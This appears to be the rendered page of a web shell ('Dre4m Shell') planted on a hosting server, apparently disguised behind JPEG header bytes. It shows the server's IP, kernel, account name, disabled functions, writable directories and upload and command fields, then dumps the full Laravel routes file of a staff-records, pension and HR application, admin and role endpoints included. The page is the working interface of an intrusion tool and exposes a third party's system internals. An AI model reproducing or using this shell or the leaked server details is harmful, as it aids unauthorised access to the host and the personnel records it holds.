ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.227.52.55
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnhr/app/Http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnhr/app/Http//routes.php
<?php
/*
|--------------------------------------------------------------------------
| Application Routes
|--------------------------------------------------------------------------
|
| Here is where you can register all of the routes for an application.
| It's a breeze. Simply tell Laravel the URIs it should respond to
| and give it the controller to call when that URI is requested.
|
*/

Route::get('/',                                                 'MainController@userArea');

//Route::get('/{mbr?}', 					      			    'Auth\AuthController@getLogin');
//Route::get('/{one?}', 										'Auth\AuthController@getLogin');

Route::group(['middleware' => ['guest']], function () {
    //Route::get('login', 										'Auth\AuthController@showLoginForm');
    Route::get('login/{one?}',                                         'Auth\AuthController@getLogin');
    Route::get('mbr/{one?}',                                                       'Auth\AuthController@getLogin');
    Route::post('login',                                         'Auth\AuthController@login');
});
Route::group(['middleware' => ['auth']], function () {
    Route::group(
        ['middleware' => ['role:admin|Records and Variation|Open Registry|estab|Pension|Man Power']],
        function () {
            Route::get('/division/changeDivision',                      'DivisionController@changeDivisionCreate');
            Route::post('/division/changeDivisionStore',            'DivisionController@changeDivisionStore');
        }
    );

    Route::get('/idcard',                                     'IDCardController@fileNo');
    Route::post('/idcard',                                     'IDCardController@postfileNo');
    Route::get('/idcard/add',                                 'IDCardController@add')->name('file-idcard');
    Route::post('/idcard/add',                                 'IDCardController@saveIDCard');

    Route::get('user/register', 'Auth\UserController@registerUser');
    Route::post('user/store',   'Auth\UserController@storeUser');
    Route::get('user/assign-role', 'Auth\UserController@assignRole');
    Route::post('user/assign-role',   'Auth\UserController@assignRoleUpdate');

    //edit user account
    Route::get('/user/editAccount',                                       'Auth\UserController@editAccount');
    Route::post('user/editAccount',                                       'Auth\UserController@editAccountStore');
    Route::get('logout',                                            'Auth\AuthController@logout');
    //CREATE NEW STAFF / BIO-DATA
    Route::get('/staff/create',                                             'CreateStaffController@create');
    Route::post('/staff/store',                                             'CreateStaffController@store');
    Route::post('json/staff/search',                                       'CreateStaffController@findStaff'); //by json
    Route::post('json/staff/lgas',                                       'CreateStaffController@getLgas'); //by json
    Route::get('/profile/details/report/{fileNo?}',                 'CreateStaffController@report'); //Report
    Route::get('/profile/account/report/{fileNo?}',                 'CreateStaffController@accountReport'); //Report
    //search for staff record
    Route::get('/searchUser/create',                                       'SearchUserController@create');
    Route::post('/searchUser/create',                                     'SearchUserController@retrieve');
    Route::get('/searchUser/{q?}',                                           'SearchUserController@autocomplete');


    Route::get('/staff/search/all/{q?}',               'OpenRegistryController@autocomplete');


    //R. Variation: Records and Variation
    Route::get('/computer/variation/create',                           'VariationController@create_variation');
    Route::post('/staff/variation/update',                               'VariationController@update_variation');
    Route::get('/staff/variation/report/{fileNo?}/{variationID?}', 'VariationController@report_variation');
    Route::post('/variation/findStaff/{gradealert?}/{stepalert?}',                                 'VariationController@findStaff');
    Route::get('/variation/findStaff',                      'VariationController@getFindStaff');
    //staffs due for variation
    Route::get('/staffs-due-for-variation',                           'DueForVariationController@staffDueForVariation');
    Route::post('/staffs-due-for-variation',                           'DueForVariationController@staffDueForVariation');
    //Route::post('/variation/findStaff/variation',             'VariationController@findVariation');
    Route::get('/staff/variation/view/',                                 'VariationController@listAll');
    Route::post('/variation/view-record/filter',                     'VariationController@filter_staff');
    Route::get('/variation/staff/search/json/{q?}',         'VariationController@autocomplete_STAFF');
    //R. Variation : Records and Emolument
    Route::get('/personal-emolument/create',                           'EmolumentController@create_emolument');
    Route::post('/staff/personal-emolument/update',               'EmolumentController@update_emolument');
    Route::get('/staff/personal-emolument/report/{fileNo?}', 'EmolumentController@report_emolument');
    Route::post('/personal-emolument/findStaff',                     'EmolumentController@findStaff');
    Route::get('/staff/personal-emolument/view/',                   'EmolumentController@listAll');
    Route::post('/personal-emolument/view-record/filter',     'EmolumentController@filter_staff');
    Route::get('/personal-emolument/new-staff',             'EmolumentController@listAllNewStaff');
    //R. Variation : mater staff list
    Route::get('/record-variation/view/cadre',              'ProfileController@view_ALL_CADRE_LIST')->name('recordVariationLoadCadre');
    Route::get('/record-variation/refresh/cadre-list',      'ProfileController@view_ALL_CADRE_LIST_REFRESH');
    Route::post('/record-variation/view/cadre',             'ProfileController@view_ALL_CADRE_LIST_FILTER');
    Route::get('/record-variation/view/increment',          'ProfileController@view_ALL_INCREMENT_SO_FAR');

    Route::get('/profile/details',                          'ProfileController@view');
    Route::get('/profile/searchUser/{q?}',                  'ProfileController@autocomplete'); //by json
    Route::post('/profile/details',                         'ProfileController@details');
    Route::post('/profile/searchUser/showAll',              'ProfileController@showAll');
    Route::get('/profile/details/{fileNo?}',                'ProfileController@userCallBack');

    //Man Power
    Route::get('/map-power/view/central',                               'ManPowerController@view_CENTRAL_LIST');
    Route::get('/map-power/view/cadre',                                    'ManPowerController@view_ALL_CADRE_LIST')->name('loadCadre');
    Route::post('/map-power/view/cadre',                                'ManPowerController@view_ALL_CADRE_LIST_FILTER');
    Route::get('/map-power/view/filter/cadre',                         'ManPowerController@view_CENTRAL_CADRE_FILTER_CONTINUE');
    Route::get('/map-power/staff/search/json/{q?}',                 'ManPowerController@search_CENTRAL_LIST_by_json');
    Route::post('/manpower/view/central',                           'ManPowerController@view_CENTRAL_LIST_FILTER');
    Route::get('/manpower/budget',                          'ManPowerController@viewBudget');
    Route::get('/map-power/view/increment',                 'ManPowerController@view_ALL_INCREMENT_SO_FAR');
    Route::get('/map-power/view/reload-cadre',              'ManPowerController@view_ALL_CADRE_REFRESH')->name('refreshCadre');

    Route::post('/manpower/search/central',                 'ManPowerController@searchCentral');


    //next of kin
    Route::get('/update/next-of-kin/{fileNo?}',       'NextOfKinController@index');
    Route::get('/remove/next-of-kin/{fileNo?}/{kinID?}',    'NextOfKinController@delete');
    Route::get('/update/view/{kinID?}',                     'NextOfKinController@view');
    Route::post('/process/next-of-kin/',                  'NextOfKinController@store');
    Route::post('/update/next-of-kin/',                   'NextOfKinController@update');
    Route::get('/profile/next-of-kin/report/{fileNo?}',   'NextOfKinController@report');
    //particulars of wife - date of birth
    Route::get('/particular/wife/create/{fileNo?}',              'DateOfBirthWifeController@create');
    Route::get('/remove/particular/{fileNo?}',                     'DateOfBirthWifeController@delete');
    Route::post('/process/particular',                          'DateOfBirthWifeController@store');
    Route::get('/particular/edit/{ID?}',                        'DateOfBirthWifeController@view');
    Route::get('/profile/particular-wife/report/{fileNo?}',     'DateOfBirthWifeController@report');
    //particulars of children
    Route::get('/children/create/{fileNo?}',                    'ParticularsOfChildrenController@index');
    Route::get('/children/remove/{id?}',                        'ParticularsOfChildrenController@delete');
    Route::post('/children/create',                                'ParticularsOfChildrenController@store');
    Route::get('/children/edit/{id?}',                          'ParticularsOfChildrenController@view');
    Route::post('/children/edit',                                 'ParticularsOfChildrenController@update');
    Route::get('/profile/children/report/{fileNo?}',               'ParticularsOfChildrenController@report');
    //Languages Routes
    Route::get('/update/languages/{fileNo?}',                     'LanguagesController@index');
    Route::get('/update/languages/view/{langid?}',                 'LanguagesController@view');
    Route::post('/update/languages/',                           'LanguagesController@update');
    Route::get('/remove/languages/{fileNo?}/{langid?}',         'LanguagesController@destroy');
    Route::get('/profile/languages/report/{fileNo?}',           'LanguagesController@report');
    // Details of service in the force
    Route::get('/update/detail-service/{fileNo?}',                'DetailOfServiceController@index');

    Route::get('/profile/document/{fileNo?}',                'DocumentationController@document');
    Route::post('/profile/document/{fileNo?}',                'DocumentationController@document');
    Route::post('/save-document',                      'DocumentationController@saveDocument');
    Route::get('/profile/delete-document/{id}',               'DocumentationController@deleteDocument');
    Route::get('/profile/ajax',                'DocumentationController@ajax');
    Route::post('/profile/ajax',                'DocumentationController@ajax');

    Route::get('/profile/save',                'DocumentationController@save');
    Route::post('/profile/save',                'DocumentationController@save');

    Route::post('/update/detailofservice/',                     'DetailOfServiceController@update');
    Route::get('/remove/detailofservice/{fileNo?}/{dosid?}',    'DetailOfServiceController@destroy');
    Route::get('/update/detailofservice/view/{dosid?}',         'DetailOfServiceController@view');
    Route::get('/profile/DetailsServiceForce/report/{fileNo?}', 'DetailOfServiceController@report');
    // Details of previous public service
    Route::get('/update/detailofprevservice/{userId?}/{doppsid?}', 'DetailsOfPreviousServiceController@index');
    Route::post('/update/detailofprevservice/',                    'DetailsOfPreviousServiceController@update');
    Route::get('/remove/detailofprevservice/{userId?}/{doppsid?}', 'DetailsOfPreviousServiceController@destroy');
    Route::get('/profile/previous-service/report/{fileNo?}',        'DetailsOfPreviousServiceController@report');
    //Education
    Route::get('/education/create2',                           'EducationController@updateEducation');
    Route::post('/education/create2/{fileNo?}',                    'EducationController@updateEducation');
    //
    Route::get('certificate/add',                       'EducationController@viewCertificate');
    Route::post('certificate/add',                       'EducationController@addCertificate');

    //Charts
    Route::get('/case-charts', 'ChartController@show')->name('caseCharts');

    Route::get('/education/create/{fileNo?}',                    'EducationController@index');
    Route::post('/education/create/{fileNo?}',                'EducationController@index'); //creeated by sam2

    //id card printing
    Route::get('/idcard/add2',                             'IDCardController@add2');

    Route::get('/idcard/details',                             'IDCardController@view');
    Route::get('/idcard/searchUser/{q?}',                  'IDCardController@autocomplete'); //by json
    Route::post('/idcard/details',                         'IDCardController@details');
    Route::post('/idcard/searchUser/showAll',              'IDCardController@showAll');
    Route::get('/idcard/details/{fileNo?}',                'IDCardController@userCallBack');

    Route::get('/view-idcard/applications',                         'IDCardController@showIDCardApplications');
    Route::post('/change-idcard/status',                             'IDCardController@changeIDCardStatus');


    Route::get('/education/remove/{id?}',                        'EducationController@delete');
    Route::post('/education/create',                            'EducationController@store');
    Route::get('/education/edit/{id?}',                         'EducationController@view');
    Route::post('/education/edit',                                 'EducationController@update');
    Route::get('/profile/education/report/{fileNo?}',           'EducationController@report');
    //Record of Censures and Commendations
    Route::get('/commendations/create/{fileNo?}',                'CensureCommendationController@index');
    Route::get('/commendations/remove/{id?}',                    'CensureCommendationController@delete');
    Route::post('/commendations/create',                        'CensureCommendationController@store');
    Route::get('/commendations/edit/{id?}',                     'CensureCommendationController@view');
    Route::post('/commendations/edit',                             'CensureCommendationController@update');
    Route::get('/profile/censures-commendations/report/{fileNo?}', 'CensureCommendationController@report');
    //Record of Gratuity Payment
    Route::get('/gratuity/create/{fileNo?}',                    'GratuityPaymentController@index');
    Route::get('/gratuity/remove/{id?}',                        'GratuityPaymentController@delete');
    Route::post('/gratuity/create',                                'GratuityPaymentController@store');
    Route::get('/gratuity/edit/{id?}',                             'GratuityPaymentController@view');
    Route::post('/gratuity/edit',                                 'GratuityPaymentController@update');
    Route::get('/profile/gratuity/report/{fileNo?}',             'GratuityPaymentController@report');
    // Termination of service
    Route::get('/update/termination/{userId?}',                  'TerminationOfServiceController@index');
    Route::post('/update/termination/',                         'TerminationOfServiceController@update');
    Route::get('/remove/termination/{userId?}/{terminateID?}',  'TerminationOfServiceController@destroy');
    Route::post('/getRecords',                                     'TerminationOfServiceController@getRecord');
    Route::post('/edit/termination/',                           'TerminationOfServiceController@editRecords');
    Route::post('/modify/termination/',                         'TerminationOfServiceController@modifyRecords');
    Route::get('/profile/termination-of-service/report/{fileNo?}', 'TerminationOfServiceController@report');
    // Tour and Leave routes
    Route::get('/update/tour-leave-record/{userId?}',                    'TourLeaveRecordController@index');
    Route::post('/update/tour-leave-record/',                         'TourLeaveRecordController@update');
    Route::get('/remove/tour-leave-record/{userId?}/{tourLeaveID?}',  'TourLeaveRecordController@destroy');
    Route::get('/profile/tour-leave/report/{fileNo?}',                   'TourLeaveRecordController@report');
    // Record of service
    Route::get('/update/recordofservice/{userId?}/{recID?}',     'RecordOfServiceController@index');
    Route::post('/update/recordofservice/',                      'RecordOfServiceController@update');
    Route::get('/remove/detailofservice/{userId?}/{dosid?}',     'RecordOfServiceController@destroy');
    Route::get('/profile/record-service/report/{fileNo?}',          'RecordOfServiceController@report');
    // Record of Emolument
    Route::get('/update/recordofemolument/{userId?}/{emolumentID?}',  'RecordOfEmolumentsController@index');
    Route::post('/update/recordofemolument/',                         'RecordOfEmolumentsController@update');
    Route::get('/remove/detailofservice/{userId?}/{dosid?}',          'RecordOfEmolumentsController@destroy');
    Route::get('/profile/record-emolument/report/{fileNo?}',           'RecordOfEmolumentsController@report');
    // OPEN REGISTRY
    //create new staff
    Route::get('/new-staff/create',                                 'OpenRegistryController@NEW_STAFF');
    Route::get('/get-cadre/{grade}', 'OpenRegistryController@getCadre');
    Route::post('/new-staff/store',                                 'OpenRegistryController@store_NEW_STAFF');
    Route::post('/staff-report/view',                                 'OpenRegistryController@filter_staff');
    Route::get('/staff-report/view',                                 'OpenRegistryController@listAll');
    Route::get('/staff/search/json/{q?}',                             'OpenRegistryController@autocomplete_STAFF');

    Route::get('/openregistry/create/',                         'OpenRegistryController@indexview');
    Route::post('/data/searchUser/showAll',                     'OpenRegistryController@showAll');
    Route::get('/data/searchUser/{q?}',                         'OpenRegistryController@autocomplete');
    Route::post('/data/store/',                                 'OpenRegistryController@store');
    Route::post('/data/personalFileData',                         'OpenRegistryController@personalFileData');
    Route::get('/remove/openregistry/{userId?}',                 'OpenRegistryController@destroy');
    Route::post('/create/openregistry',                         'OpenRegistryController@create');
    Route::get('/openregistry/list',                             'OpenRegistryController@index');
    Route::get('/openregistry/edit/{pfrID?}',                     'OpenRegistryController@edit');
    Route::get('/openregistry/editout/{pfrID?}',                 'OpenRegistryController@edit');
    Route::post('/openregistry/update/',                         'OpenRegistryController@update');

    //START EDITING STAFF PROFILE LINKS//
    //Bio-Data
    Route::get('/profile/details/{ID?}/{fileNo?}',              'EditStaffProfileController@viewEditBioData');
    Route::get('/profile/details/{fileNo?}',                      'EditStaffProfileController@details');
    //Education
    Route::get('/profile/details/{ID?}/{fileNo?}',              'EditStaffProfileController@viewEditBioData');
    ////ENDS HERE///

    // Pension
    Route::get('/pension/create',                                            'PensionController@index')->name('create');
    Route::post('/pension/displaynames',                        'PensionController@showAll');
    Route::post('/pension/compute',                                          'PensionController@computePension');
    Route::post('/pension/compute/batch',                       'PensionController@computePensionBatch');
    Route::post('/update/recordofemolument/getdetail',             'RecordOfEmolumentsController@getDetail');
    Route::post('/pension/getpension',                                    'PensionController@getpension');
    Route::get('/pension/report',                                            'PensionController@pensionReport');
    Route::post('/pension/report/view',                                    'PensionController@generateReport');
    Route::get('/pension/report/view',                                    'PensionController@pensionReport');
    Route::post('/pension/report/monthlyReport',                    'PensionController@monthlyReport')->name('reportMonthly');
    Route::get('/pension/all-report',                           'PensionController@allPensionReport')->name('reportAll');
    Route::post('/pension/all-report',                           'PensionController@displayAllPensionReport');
    Route::post('/pension/staff/update',                        'PensionController@updateStaffPension');
    Route::post('/pension/staff/delete',                        'PensionController@softDeleteStaffPension');
    // Pension Manager
    Route::get('/pension-manager/create',                                'PensionController@create_PFA')->name('create_PFA');
    Route::post('/pensionmanager/store',                        'PensionController@store_PFA');
    Route::get('/pensionmanager/view',                                    'PensionController@view_PFA');
    Route::get('pension-manager/edit/{id?}',                    'PensionController@view_edit_PFA');
    Route::get('/group-life/insurance-policy',                                     'PensionController@groupLifeInsurance');
    Route::post('/group-life/insurance-policy',                                     'PensionController@searchByDivision');
    // Report
    Route::get('/report/selectrange',                                      'ReportController@index');
    Route::post('/report/show',                                 'ReportController@pensionReport');



    /********** Records and variation  ****************/
    // offer of appointment
    Route::get('/offerofappointment/createoffer',                    'OfferOfAppointmenController@indexoffer');
    Route::get('/offerofappointment/createletter',              'OfferOfAppointmenController@indexletter');
    Route::get('/offerofappointment/acceptance',                    'OfferOfAppointmenController@indexaccept');
    Route::get('/offerofappointment/medicalexam',               'OfferOfAppointmenController@indexmedical');
    Route::post('/offerofappointment/getfileno',                'OfferOfAppointmenController@getfileNo');
    Route::post('/offerofappointment/save',                     'OfferOfAppointmenController@storeOffer');
    Route::post('/offerofappointment/addletter',                'OfferOfAppointmenController@storeletter');
    Route::post('/offerofappointment/letterfileno',             'OfferOfAppointmenController@letterfileno');
    Route::post('/offerofappointment/medicalexam',              'OfferOfAppointmenController@medicalexam');
    Route::post('/offerofappointment/add',                      'OfferOfAppointmenController@storemedicalexam');
    Route::post('/offerofappointment/add-acceptance',           'OfferOfAppointmenController@storeacceptance');
    Route::post('/offerofappointment/getdata',                  'OfferOfAppointmenController@acceptance');
    Route::post('/offerofappointment/bearername',               'OfferOfAppointmenController@getbearer');

    Route::post('/offerofappointment/print-letter-from-list',   'OfferOfAppointmenController@listletterprint');
    Route::post('/offerofappointment/print-offer-from-list',    'OfferOfAppointmenController@listofferprint');
    Route::post('/offerofappointment/print-medical-from-list',  'OfferOfAppointmenController@listmedicalprint');
    Route::post('/offerofappointment/print-acceptance-from-list', 'OfferOfAppointmenController@listacceptanceprint');
    // offer of appointment Listing
    Route::get('/offerofappointment/listoffer',                        'OfferOfAppointmentListingController@offerlisting');
    Route::get('/offerofappointment/listletter',                'OfferOfAppointmentListingController@letterlisting');
    Route::get('/offerofappointment/listacceptance',              'OfferOfAppointmentListingController@acceptancelisting');
    Route::get('/offerofappointment/listmedicalexam',           'OfferOfAppointmentListingController@medicallisting');
    Route::post('/data/searchUser/showAll',                               'OfferOfAppointmentListingController@showAll');
    Route::get('/data/searchUser/{q?}',                                     'OfferOfAppointmentListingController@autocomplete');
    Route::post('/offerofappointment/viewacceptance',                 'OfferOfAppointmentListingController@filter_acceptance');
    Route::post('/offerofappointment/viewletters',                       'OfferOfAppointmentListingController@filter_appoinmentletters');
    Route::post('/offerofappointment/viewoffers',                       'OfferOfAppointmentListingController@filter_offerletters');
    Route::post('/offerofappointment/viewmedical',                       'OfferOfAppointmentListingController@filter_medicals');

    //general form
    Route::get('/offerofappointment/form',                'OfferOfAppointmenController@generalForm');
    Route::post('/offerofappointment/form',                'OfferOfAppointmenController@generalForm');




    //handling privileges to all users except CPO and Tax Staff
    Route::group(['middleware' => ['role:super admin|Records and Variation|Open Registry|estab|Pension|Man Power']], function () {
        //Bank
        Route::get('/bank/create',                          'BankController@create');
        Route::post('/bank/store',                          'BankController@store');
        Route::post('/bank/findBank',                         'BankController@findBank');
        //Inactive staff
        Route::get('/inactivestaff',                         'InactiveStaffController@loadView');
        Route::post('/inactive
			',                 'InactiveStaffController@loadReport');
        //Picture Viewer
        Route::get('/pictureViewer',                         'PictureViewerController@loadView');
        Route::post('/pictureViewer/report',                 'PictureViewerController@loadReport');
        Route::post('/pictureViewer/create',                 'PictureViewerController@store');
        Route::post('/pictureViewer/findStaff',             'PictureViewerController@findStaff');
    });

    //handling privileges to all users except CPO, audit and Tax Staff
    Route::group(
        ['middleware' => ['role:super admin|Records and Variation|Open Registry|estab|Pension|Man Power']],
        function () {
            //SearchUser
            Route::get('/searchUser/create',                     'SearchUserController@create');
            Route::post('/searchUser/create',                     'SearchUserController@retrieve');
            Route::get('/searchUser/{q?}',                         'SearchUserController@autocomplete');

            //staff status
            Route::get('/staffStatus',                             'StaffStatusController@loadView');
            Route::get('/staffStatus/pending',                     'StaffStatusController@loadPending');
            Route::post('/staffStatus/update',                     'StaffStatusController@update');
            Route::post('/staffStatus/findStaff',                 'StaffStatusController@findStaff');
            Route::post('/approve',                             'StaffStatusController@getApprove');
        }
    );

    //handling admin and staff supervisor for active month priveledges
    Route::group(
        ['middleware' => ['role:admin|salary supervisor|super admin']],
        function () {
            //set active month
            Route::get('/activeMonth/create',                     'ActiveMonthController@create');
            Route::post('/activeMonth/create',                     'ActiveMonthController@store');
        }
    );
    //handling admin priveledges
    Route::group(
        ['middleware' => ['role:admin|super admin|Records and Variation|Open Registry|estab|Pension|Man Power']],
        function () {
            //Classification
            Route::get('/classcode/create', 'ClassificationController@create');
            Route::post('/classcode/store', 'ClassificationController@store');
            Route::get('/classcode/{findData}', 'ClassificationController@findData');
            Route::post('/storeupdate', 'ClassificationController@update');
            //Division
            Route::get('/division/create', 'DivisionController@create');
            Route::post('/division/store', 'DivisionController@store');
            Route::get('/division/destroy/{id?}', 'DivisionController@destroy');

            //Bank List
            Route::get('/banklist/create',  'BankListController@create');
            Route::post('/banklist/store',  'BankListController@store');
            Route::get('/banklist/remove/{bankID?}', 'BankListController@delete');
            Route::get('/role/create', 'RoleController@create');
            Route::post('/role/create', 'RoleController@store');
            //Account lock
            Route::get('/account/lock-all',                     'AccountLockController@lockAll');
            Route::post('/account/lock-all',                     'AccountLockController@lockAllStore');
            Route::get('/account/unlock',                         'AccountLockController@unlockOne');
            Route::post('/account/unlock',                         'AccountLockController@unlockOneStore');
        }
    );

    Route::get('/basic/section',      'BasicParameterController@section');

    //handling super admin priveledges
    //Route::group(['middleware' => ['role:super admin|Records and Variation|Open Registry|estab|Pension|Man Power']],
    //function() {
    //audit log
    Route::get('/auditLog/create',                         'AuditLogController@create');
    Route::post('/auditLog/create',                     'AuditLogController@userDetails');
    Route::post('/auditLog/query',                         'AuditLogController@userQuery');
    Route::post('/auditLog/finduser',                     'AuditLogController@finduser');

    Route::get('/role/userRole',                         'RoleController@userRoleCreate');
    Route::post('/role/userRole',                         'RoleController@userRoleStore');

    //viewing all user
    Route::get('/role/viewUser',                         'RoleController@index');
    //removing role from a specific user
    Route::get('/role/{id}/user/{userid}',                'RoleController@destroy');
    //viewing role for each user
    Route::get('/role/viewUser/{id}',                    'RoleController@retrieve');
    //For PERMISSION configuration using get and POST
    Route::get('/permission/create',                     'PermissionController@index');
    Route::post('/permission/create',                     'PermissionController@store');

    Route::get('/permission/permRole',                     'PermissionController@PermRoleCreate');
    Route::post('/permission/permRole',                 'PermissionController@PermRoleStore');

    //estab Admin Controller
    Route::get('/estab/central-list',               'EstabAdminController@view_CENTRAL_LIST');
    Route::get('/estab/test',                       'EstabAdminController@test');
    Route::get('/estab/staff/profile/{fileNo}',     'EstabAdminController@getProfile');
    Route::get('/admin/promotion-brief/',           'EstabAdminController@promotion');
    Route::get('/admin/upgrading/{fileNo}',         'EstabAdminController@upgrade');
    Route::get('/admin/conversion/{fileNo}',         'EstabAdminController@convert_advance');
    Route::get('/estab/conversion',                 'EstabAdminController@conversionList');
    Route::post('/estab/upgrading/update',          'EstabAdminController@upgradeDetails');
    Route::post('/estab/autocomplete',              'EstabAdminController@autocomplete');
    Route::post('/estab/listStaff',                 'EstabAdminController@showAll');
    Route::post('/estab/con-adv/save',              'EstabAdminController@saveAdvancement');
    Route::get('/estab/promotion-list',             'EstabAdminController@promotionList');
    Route::post('/estab/promotion/save',            'EstabAdminController@savePromotion');
    Route::post('/estab/promotion/confirmation',    'EstabAdminController@confirm');

    Route::post('/estab/conversion/confirmation',    'EstabAdminController@promotionConfirm');
    Route::post('/estab/profile/details',           'EstabAdminController@getDetails');

    Route::post('/estab/promotion-list',                 'EstabAdminController@searchPromotionList');


    Route::get('/compute/promotion/variation',       'VariationController@promotionVariation');


    //letter of application
    Route::get('/forms/letter-of-application',             'VariationFormsController@letterOfApplication');
    Route::get('/forms/appointment-form',                  'VariationFormsController@appointmentForm');
    Route::get('/forms/referee-form',                      'VariationFormsController@refereeForm');
    Route::get('/forms/leave-form',                        'VariationFormsController@leaveForm');

    // Open Registry 2 Routes
    Route::get('/open-file-registry/create',                'OpenRegistry2Controller@closingFileIndex');
    Route::post('/open-file-registry/save',                 'OpenRegistry2Controller@saveClosingFile');
    Route::get('/open-file-registry/outgoing-letters',       'OpenRegistry2Controller@outgoingLettersIndex');
    //Route::get('/open-file-registry/incoming-letter',       'OpenRegistry2Controller@incomingLetterIndex');
    //Route::post('/open-file-registry/saveletter',           'OpenRegistry2Controller@saveIncomingLetter');
    Route::post('/open-file-registry/saveletter',           'OpenRegistry2Controller@saveOutgoingLetters');
    Route::get('/open-file-registry/external-letter',       'OpenRegistry2Controller@externalLetterIndex');
    //Route::get('/open-file-registry/outgoing-letter',       'OpenRegistry2Controller@outgoingLetterIndex');
    Route::post('/open-file-registry/saveoutgoing',         'OpenRegistry2Controller@saveexternalLetter');
    Route::get('/open-file-registry/mail',                  'OpenRegistry2Controller@mailIndex');
    Route::post('/open-file-registry/savemail',             'OpenRegistry2Controller@saveMail');
    Route::get('/open-file-registry/view-mails',            'OpenRegistry2Controller@viewMails');
    Route::get('/open-file-registry/search',                'OpenRegistry2Controller@autocomplete');
    Route::post('/open-file-registry/filter',               'OpenRegistry2Controller@filter_mails');
    Route::get('/open-file-registry/view-closed-files',     'OpenRegistry2Controller@viewClosedFiles');
    Route::get('/open-file-registry/searchclosed',          'OpenRegistry2Controller@auto');
    Route::post('/open-file-registry/filterclosed',         'OpenRegistry2Controller@filterClosedFiles');

    Route::post('/open-file-registry/accept-status/{id}',         'OpenRegistry2Controller@acceptStatus');
    Route::get('/open-file-registry/reject-status',          'OpenRegistry2Controller@rejectStatus');
    Route::post('/open-file-registry/update/{id}',          'OpenRegistry2Controller@updateOutgoingLetters');
	
    Route::post('/open-file-registry/reject-status/{id}',          'OpenRegistry2Controller@rejectStatus');
    
    //Route::post('/open-file-registry/comments/reject', 'OpenRegistry2Controller@rejectStatus')->name('comments.reject');
    //Route::post('/comments/reject/{id}', 'OpenRegistry2Controller@rejectStatus')->name('comments.reject');


	Route::post('/open-file-registry/comments', 'OpenRegistry2Controller@store')->name('comments.store');
    //Route::post('/open-file-registry/comments/reject/{id}', 'OpenRegistry2Controller@rejectStatus')->name('comments.reject');


	Route::get('/open-file-registry/letters/edit/{id}', 'OpenRegistry2Controller@edit')->name('editLetter');


    Route::get('/open-file-registry/view-letters',      'OpenRegistry2Controller@viewLetters');
    Route::get('/open-file-registry/view-receive-letters',      'OpenRegistry2Controller@viewReceiveLetters');
    Route::get('/open-file-registry/view-outgoing-letter',         'OpenRegistry2Controller@viewOutgoing');
    Route::get('/open-file-registry/searchoutgoing',        'OpenRegistry2Controller@autocompleteOutgoing');
    Route::post('/open-file-registry/filter-outgoing',      'OpenRegistry2Controller@filterOutgoing');
    
    Route::post('/open-file-registry/filter-received-letters', 'OpenRegistry2Controller@filterReceived');

    Route::get('/open-file-registry/view-incoming',         'OpenRegistry2Controller@viewIncoming');
    Route::get('/open-file-registry/searchincoming',        'OpenRegistry2Controller@autocompleteIncoming');
    Route::get('/open-file-registry/searchincoming',        'OpenRegistry2Controller@searchedByDateReceivedIncoming');
    Route::post('/open-file-registry/filter-incoming',      'OpenRegistry2Controller@filterIncoming');



    //update staff Record
    Route::get('/emolument/staff-detail',      'EmolumentController@getStaffRecord');
    Route::post('/emolument/update-staff',      'EmolumentController@updateStaffRecord');

    //Basic Paramenter
    Route::get('/basic/department-setup',      'BasicParameterController@department');
    Route::post('/basic/department-setup',      'BasicParameterController@department');
    //Basic Paramenter

    Route::post('/basic/section',      'BasicParameterController@section');
    Route::get('/basic/designation',      'BasicParametervController@Designation');
    Route::post('/basic/designation',      'BasicParametervController@Designation');
    Route::post('basic/designation/edit', 'BasicParametervController@updateDesignation');
    Route::post('basic/designation/delete', 'BasicParametervController@deletePost');
    Route::get('/staff/reports',      'BasicParameterController@StaffReport');
    Route::get('/staff/nominals',      'BasicParameterController@NominalRollReport'); //by sam2
    Route::post('/staff/nominals',      'BasicParameterController@NominalRollReport'); //by sam2
    Route::get('/staff/nominals2',      'BasicParameterController@customizeNominalRoll'); //by sam2
    Route::post('/staff/nominals2',      'BasicParameterController@customizeNominalRoll'); //by sam2
    Route::post('/staff/reports',      'BasicParameterController@StaffReport');
    Route::get('/qualification/setting',      'BasicParameterController@QualificationSetting');
    Route::post('/qualification/setting',      'BasicParameterController@QualificationSetting');
    Route::get('/qualification/update',      'BasicParameterController@EducationQualification');
    Route::post('/qualification/update',      'BasicParameterController@EducationQualification');

    Route::get('/delete/department/{id}',      'BasicParameterController@deleteDepartment');


    //Bulk file movement
    Route::get('/bulk-movement/create',                 'BulkFileMovementController@create');
    Route::post('/bulk-movement/save',                  'BulkFileMovementController@saveBulk');

    Route::post('/bulk-movement/save',                  'BulkFileMovementController@saveBulk');
    Route::post('/bulk-movement/get-staff',             'BulkFileMovementController@getStaff');
    Route::get('/bulk-movement/accept',                 'BulkFileMovementController@acceptance');
    Route::post('/bulk-movement/confirmation',          'BulkFileMovementController@confirm');


    //////////////// adams //////////////////////////
    // Accept route
    Route::post('/file-bulk-movement/accept', 'BulkFileMovementController@bulkAcceptAction')->name('acceptAction');

    // Reject route
    Route::post('/file-bulk-movement/reject', 'BulkFileMovementController@bulkRejectAction')->name('rejectAction');
    Route::get('/bulk-movement/reject-list',       'BulkFileMovementController@getRejectFile')->name('get-reject-file');
     
    Route::get('/get-reasons', 'BulkFileMovementController@getReasons')->name('get-reasons');
    //////////////// adams //////////////////////////

    Route::post('/bulk-movement/getUsers',              'BulkFileMovementController@getUsers');
    Route::get('/bulk-movement/searchUser/{q?}',       'BulkFileMovementController@autocomplete');

    Route::get('/file-transfer-track/{fileNo}',             'BulkFileMovementController@trackFileMovement')->name('file-transfer-track'); // new by adams

    Route::get('/bulk-transfer/move',                   'BulkFileMovementController@transfer');
    Route::post('/bulk-transfer/post',                  'BulkFileMovementController@postTransfer');

    Route::get('/bulk-transfer/track',                  'BulkFileMovementController@trackFile');
    Route::post('/bulk-transfer/search-track',          'BulkFileMovementController@postTrackFile');

    Route::get('/bulk-transfer/files-sent',             'BulkFileMovementController@filesSent');
